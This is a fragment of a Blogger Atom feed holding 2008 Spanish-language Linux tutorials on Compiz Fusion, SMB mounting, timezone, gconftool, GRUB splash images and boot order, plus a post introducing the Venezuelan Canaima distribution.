style="text-align:center;font-family:arial,sans-serif;font-size:11px"&gt;&lt;a href="http://picasaweb.google.es/wil.alejandro/CanaimaBSP1?feat=embedwebsite" style="color:#4D4D4D;font-weight:bold;text-decoration:none;"&gt;Canaima BSP 1&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6105323509860897601?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6105323509860897601/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6105323509860897601&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6105323509860897601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6105323509860897601'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/12/primera-cayapa-tenica-de-canaima-20.html' title='Primera Cayapa Tećnica de Canaima 2.0'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_oLUxtmo5LIU/SVWf8t5lG9E/AAAAAAAAAJ8/2cexAvH63F0/s72-c/CanaimaBSP1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8595900134074020373</id><published>2008-12-26T15:54:00.000-08:00</published><updated>2008-12-26T18:05:07.681-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Instalar Compiz Fusion en Debian Lenny</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En estos días me dispuse a instalar de nuevo Compiz en mi Debian Lenny y me encontré con la sorpresa de que los repositorios que pululan por ahí en internet ya no estaban disponibles así que decidí hacer una búsqueda y publicar mis resultados. Acá está el &lt;a href="http://download.tuxfamily.org/osrdebian/index.html" target="_blank"&gt;enlace&lt;/a&gt; del repositorio que encontré y a continuación explico como hacer la instalación.&lt;br /&gt;&lt;br /&gt;Compiz Fusion solo funcionará si tienes una tarjeta gráfica con soporte OpenGL y si tienes instalado correctamente el driver de vídeo. Si tu tarjeta gráfica es NVIDIA puedes leer este &lt;a href="http://damncorner.blogspot.com/2008/10/instalar-driver-nvidia-la-debian-way.html"&gt;post&lt;/a&gt; para instalar el driver de vídeo correctamente.&lt;br /&gt;&lt;br /&gt;Dicho esto, entonces procedamos... Primero agregamos las siguientes líneas a nuestro archivo &lt;b&gt;/etc/apt/sources.list&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;deb http://download.tuxfamily.org/osrdebian unstable compiz-fusion-git&lt;br /&gt;deb-src http://download.tuxfamily.org/osrdebian unstable compiz-fusion-git&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Agregamos la llave GPG ejecutando en la consola (como super usuario):&lt;br /&gt;&lt;code&gt;# wget http://download.tuxfamily.org/osrdebian/61B8DB62.gpg -O- | apt-key add -&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y actualizamos la lista de paquetes:&lt;br /&gt;&lt;code&gt;# aptitude update&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego instalamos:&lt;br /&gt;&lt;code&gt;# aptitude install compiz compiz-gnome&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para ejecutarlo basta con correr en la consola:&lt;br /&gt;&lt;code&gt;$ compiz --replace &amp;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y para configurarlo vamos al menú &lt;b&gt;Sistema-&gt;Preferencias-&gt;Administrador de Opciones CompizConfig&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SVV0moQEhcI/AAAAAAAAAHk/hoyKwkf8oJw/s1600-h/compizconfig-settings-manager.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SVV0moQEhcI/AAAAAAAAAHk/hoyKwkf8oJw/s320/compizconfig-settings-manager.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5284257944777819586" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si queremos añadirle más funcionalidad al asunto podemos instalar el decorador de ventanas &lt;b&gt;emerald&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;# aptitude install emerald emerald-themes&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y entonces ejecutar el compiz con la siguiente instrucción:&lt;br /&gt;&lt;code&gt;$ compiz --replace -c emerald &amp;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Eso nos dará como resultado un escritorio muy cool xD&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SVV16eMyEvI/AAAAAAAAAHs/F1VbhK_ZH_0/s1600-h/2008-12-26-194733_1440x900_scrot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SVV16eMyEvI/AAAAAAAAAHs/F1VbhK_ZH_0/s320/2008-12-26-194733_1440x900_scrot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5284259385188684530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8595900134074020373?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8595900134074020373/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8595900134074020373&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8595900134074020373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8595900134074020373'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/12/instalar-compiz-fusion-en-debian-lenny.html' title='Instalar Compiz Fusion en Debian Lenny'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/SVV0moQEhcI/AAAAAAAAAHk/hoyKwkf8oJw/s72-c/compizconfig-settings-manager.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1147170525712849629</id><published>2008-12-18T10:27:00.000-08:00</published><updated>2008-12-18T12:54:52.986-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Samba'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Montar carpeta compartida de Windows en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Para montar una carpeta compartida de Windows en Debian (o cualquier otra distro GNU/Linux basada en Debian) necesitamos instalar el sistema de archivos &lt;b&gt;smbfs&lt;/b&gt;. El smbfs entiende el protocolo SMB/CIFS usado por Windows para el trabajo en grupo y nos permite usar el comando &lt;b&gt;mount&lt;/b&gt; para montar dicho recurso compartido como un dispositivo común y corriente.&lt;br /&gt;&lt;br /&gt;Instalamos el &lt;b&gt;smbfs&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;# aptitude install smbfs&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Creamos el directorio en el cual queremos montar la carpeta compartida, por ejemplo &lt;b&gt;/mnt/compartida&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;# mkdir /mnt/compartida/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora supongamos que el recurso se encuentra en la ruta &lt;b&gt;//192.168.1.15/carpeta&lt;/b&gt;, que el usuario para acceder es &lt;b&gt;usuario&lt;/b&gt; y la contraseña &lt;b&gt;123456&lt;/b&gt;. Usando el comando &lt;b&gt;mount&lt;/b&gt; nos quedaría algo como:&lt;br /&gt;&lt;code&gt;mount -t smbfs -o username=usuario,password=123456 //192.168.1.15/carpeta /mnt/compartida&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;A partir de ahora podremos trabajar la información de la carpeta compartida en la ruta /mnt/compartida de forma transparente. Podríamos incluso agregar una línea al archivo &lt;b&gt;/etc/fstab&lt;/b&gt; para que el recurso se monte automaticamente cada vez que iniciemos la PC pero lo dejaré como tarea para el lector =D&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1147170525712849629?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1147170525712849629/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1147170525712849629&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1147170525712849629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1147170525712849629'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/12/montar-carpeta-compartida-de-windows-en.html' title='Montar carpeta compartida de Windows en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7703310034298248391</id><published>2008-12-16T06:02:00.000-08:00</published><updated>2008-12-16T06:19:44.017-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Cambiar zona horaria en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Para ver o configurar la zona horaria establecida en nuestro sistema Debian basta con ejecutar:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# dpkg-reconfigure tzdata&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Seleccionamos el Área Geográfica:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SUe3fFSIlnI/AAAAAAAAAHU/HK80Gfbd1zQ/s1600-h/tzdata1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 191px;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SUe3fFSIlnI/AAAAAAAAAHU/HK80Gfbd1zQ/s320/tzdata1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5280390832737261170" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Y posteriormente el país:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_oLUxtmo5LIU/SUe3nbBXe2I/AAAAAAAAAHc/8hayOjMbZtQ/s1600-h/tzdata2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 192px;" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/SUe3nbBXe2I/AAAAAAAAAHc/8hayOjMbZtQ/s320/tzdata2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5280390976011467618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7703310034298248391?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7703310034298248391/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7703310034298248391&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7703310034298248391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7703310034298248391'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/12/cambiar-zona-horaria-en-debian.html' title='Cambiar zona horaria en Debian'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/SUe3fFSIlnI/AAAAAAAAAHU/HK80Gfbd1zQ/s72-c/tzdata1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5539879712357613386</id><published>2008-11-29T17:54:00.000-08:00</published><updated>2008-11-29T18:47:21.773-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Editar la configuración de GNOME desde la consola</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;El escritorio GNOME y muchas aplicaciones utilizan GConf para almacenar las preferencias del usuario y los datos de configuración del sistema en un repositorio central que almacena los valores en forma de pares &lt;b&gt;clave-valor&lt;/b&gt;, simplificando la administración de la configuración para los usuarios y administradores del sistema.&lt;br /&gt;&lt;br /&gt;GNOME viene con un editor de preferencias llamado GConf Editor. Puede invocarse desde la consola ejecutando el comando: &lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ gconf-editor&lt;/code&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/STH-o4eMFXI/AAAAAAAAAHM/lBBtsQJV1Mg/s1600-h/gconf-editor.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 260px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/STH-o4eMFXI/AAAAAAAAAHM/lBBtsQJV1Mg/s320/gconf-editor.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5274276616934790514" /&gt;&lt;/a&gt;&lt;br /&gt;Desde allí podemos cambiar la mayoría de las preferencia del sistema.&lt;br /&gt;&lt;br /&gt;Sin embargo, cuando necesitamos cambiar las preferencias de forma automática (digamos desde un script o algún programa) el editor NO será de gran ayuda. Para ello contamos con la herramienta &lt;b&gt;gconftool&lt;/b&gt;. Usarla es realmente simple; mostraré con un ejemplo como hacerlo. &lt;br /&gt;&lt;br /&gt;Supongamos que deseamos mostrar en nuestro escritorio el icono de la Papelera de Reciclaje. Desde el GConf Editor podemos ver que la ruta donde se encuentra esta preferencia es &lt;b&gt;/app/nautilus/desktop/&lt;/b&gt; y la clave es &lt;b&gt;trash_icon_visible&lt;/b&gt;. Obviamente si la clave está en &lt;b&gt;true&lt;/b&gt; se mostrará el icono de la papelera y si está en &lt;b&gt;false&lt;/b&gt; no se mostrará.&lt;br /&gt;&lt;br /&gt;El comando sería tan sencillo como:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ gconftool -s --type=bool /apps/nautilus/desktop/trash_icon_visible true&lt;/code&gt;&lt;br /&gt;donde:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;-s&lt;/b&gt; indica que la variable será establecida (del inglés set)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;--type&lt;/b&gt; indica el tipo de clave a editar. Hasta ahora he usado &lt;i&gt;string&lt;/i&gt; para el texto y &lt;i&gt;bool&lt;/i&gt; para los valores booleanos (verdaderos y falsos)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Luego se especifica la ruta completa de la clave, en este caso &lt;b&gt;/apps/nautilus/desktop/trash_icon_visible&lt;/b&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Y por último el valor que le queremos asignar a la clave, en este caso &lt;b&gt;true&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Podemos usar el comando donde y cuando sea necesario para ajustar nuestras preferencias al gusto.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5539879712357613386?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5539879712357613386/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5539879712357613386&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5539879712357613386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5539879712357613386'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/editar-la-configuracin-de-gnome-desde.html' title='Editar la configuración de GNOME desde la consola'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/STH-o4eMFXI/AAAAAAAAAHM/lBBtsQJV1Mg/s72-c/gconf-editor.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4642600700467240803</id><published>2008-11-29T17:44:00.000-08:00</published><updated>2008-11-29T17:51:35.911-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Agregar imágenes de fondo al GRUB</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;A continuación explicaré cómo agregar imágenes de fondo al GRUB en Debian Lenny.&lt;br /&gt;&lt;br /&gt;Instalamos el paquete grub-splashimages:&lt;br /&gt;&lt;code&gt;# aptitude install grub-splashimages&lt;/code&gt;&lt;br /&gt;Después de esto quedarán instaladas algunas imágenes de fondo en la ruta &lt;b&gt;/boot/grub/splashimages&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para colocar una de ellas de fondo basta con ejecutar el siguiente comando:&lt;br /&gt;&lt;code&gt;# ln -s /boot/grub/splashimages/nombre_imagen.xpm.gz splash.xpm.gz&lt;/code&gt;&lt;br /&gt;donde &lt;b&gt;nombre_imagen.xpm.gz&lt;/b&gt; es el nombre del archivo que queremos colocar como fondo.&lt;br /&gt;&lt;br /&gt;Reiniciamos y veremos nuestra flamante imagen de fondo :)&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4642600700467240803?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4642600700467240803/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4642600700467240803&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4642600700467240803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4642600700467240803'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/agregar-imgenes-de-fondo-al-grub.html' title='Agregar imágenes de fondo al GRUB'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3568563363028613747</id><published>2008-11-27T07:07:00.000-08:00</published><updated>2008-12-26T19:18:24.846-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Canaima'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Canaima la distribución GNU/Linux Venezolana</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 52px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SS7JP4uFGiI/AAAAAAAAAGM/FRFQyqEW5HE/s320/canaima-miniatura.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5273373488458308130" /&gt;&lt;br /&gt;Canaima es una distribución GNU/Linux Venezolana basada en Debian que está siendo desarrollada por el CNTI en conjunto con la comunidad de software libre de Venezuela.&lt;br /&gt;&lt;br /&gt;Surge con la finalidad de cubrir las necesidades ofimáticas de los usuarios de la Administración Pública Nacional (APN) y para dar cumplimiento al decreto presidencial Nro. 3.390 sobre el uso de Tecnologías Libres en todos los entes gubernamentales.&lt;br /&gt;&lt;br /&gt;Entre las principales características principales de Canaima tenemos:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Está desarrollada completamente bajo Software Libre.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;No está limitada al uso en la APN, sino que puede ser usado por cualquier persona.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Es estable y segura, pues está basada en Debian, la cual pasa por una serie de procesos y pruebas rigurosas de calidad.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Realizada en Venezuela por talento nacional.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Posee una serie de herramientas (ofimáticas, diseño gráfico, planificación de proyectos, bases de datos, gestores de correo electrónico, aplicaciones para llamadas sobre VoIP, entre otros) que hacen de Canaima una distribución realmente completa &lt;i&gt;"Out of the box"&lt;/i&gt;.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Permite la estandarización de los procesos técnicos, de soporte y capacitación a nivel de Tecnologías de la Información&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Promueve la industria nacional de Software Libre&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Estimula el acercamiento de los usuarios al Software Libre para su uso personal&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Brinda soberanía e independencia tecnológica&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Hasta ahora Canaima anda sobre ruedas, la gente del CNTI está estimulando la participación de la comunidad en el desarrollo y crecimiento de la misma. La versión actual es la 2.0, se encuentra en perfecto estado de usabilidad y ya se está trabajando en la siguiente publicación. &lt;br /&gt;&lt;br /&gt;Puede obtener el DVD de Canaima a través de cualquiera de estos medios:&lt;br /&gt;&lt;br /&gt;* &lt;a href="http://descargas.canaima.softwarelibre.gob.ve/Canaima-2.0-DVD/canaima-2.0-DVD-i386.iso"&gt;Canaima v2.0 i386&lt;/a&gt; (ISO)&lt;br /&gt;* &lt;a href="http://descargas.canaima.softwarelibre.gob.ve/jigdo/canaima-2.0-DVD-i386.jigdo"&gt;Canaima v2.0 i386&lt;/a&gt; (.jigdo)&lt;br /&gt;* &lt;a href="http://descargas.canaima.softwarelibre.gob.ve/Canaima-2.0-DVD.torrent"&gt;Canaima v2.0 i386&lt;/a&gt; (.torrent)&lt;br /&gt;&lt;br /&gt;Estaré al tanto de las novedades al respecto para hacerlas saber por este medio&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3568563363028613747?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3568563363028613747/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3568563363028613747&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3568563363028613747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3568563363028613747'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/11/canaima-la-distribucin-gnulinux.html' title='Canaima la distribución GNU/Linux Venezolana'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/SS7JP4uFGiI/AAAAAAAAAGM/FRFQyqEW5HE/s72-c/canaima-miniatura.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4621271741510649790</id><published>2008-11-26T07:50:00.000-08:00</published><updated>2008-11-27T08:39:12.796-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Cambiar orden de arranque en GRUB2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.gnu.org/software/grub/"&gt;GRUB&lt;/a&gt; (GRand Unified Bootloader) es un gestor de arranque múltiple que se usa para iniciar dos o más sistemas operativos instalados en un mismo equipo. Es el gestor de arranque usado por la mayoría de las distribuciones GNU/Linux, sin embargo su desarrollo ya no esta activo; solamente se corrigen errores mientras GRUB2 se estabiliza.&lt;br /&gt;&lt;br /&gt;&lt;a href=" http://www.gnu.org/software/grub/grub-2.en.html"&gt;GRUB2&lt;/a&gt; es un gestor de arranque derivado de PUPA y constituye la evolución del famoso GRUB. Ha sido reescrito desde cero con la finalidad de corregir todos los errores de GRUB e implementar nuevos esquemas de modularidad y portabilidad. &lt;br /&gt;&lt;br /&gt;Los que venimos de GRUB estamos acostumbrados a cambiar todas las opciones de arranque desde el archivo &lt;i&gt;/boot/grub/menu.lst&lt;/i&gt;, sin embargo en GRUB2 este archivo no se utiliza. Para cambiar las opciones de arranque (especificamente el orden de arranque) en GRUB2 debemos editar el archivo &lt;b&gt;/etc/default/grub&lt;/b&gt;. En la línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;GRUB_DEFAULT=0&lt;/code&gt;&lt;br /&gt;Colocaremos la opción que queremos por defecto al momento de arrancar (0 para la primera opción, 1 para la segunda y así sucesivamente).&lt;br /&gt;&lt;br /&gt;Luego ejecutamos (como super usuario):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# update-grub&lt;/code&gt;&lt;br /&gt;Ese último comando regenera todos los archivos de configuración del GRUB2 para que los cambios surtan efecto.&lt;br /&gt;&lt;br /&gt;Solo queda reiniciar y verificar que todo está en el orden que deseamos :)&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4621271741510649790?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4621271741510649790/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4621271741510649790&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4621271741510649790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4621271741510649790'/><link rel='alternate' type='text/html' 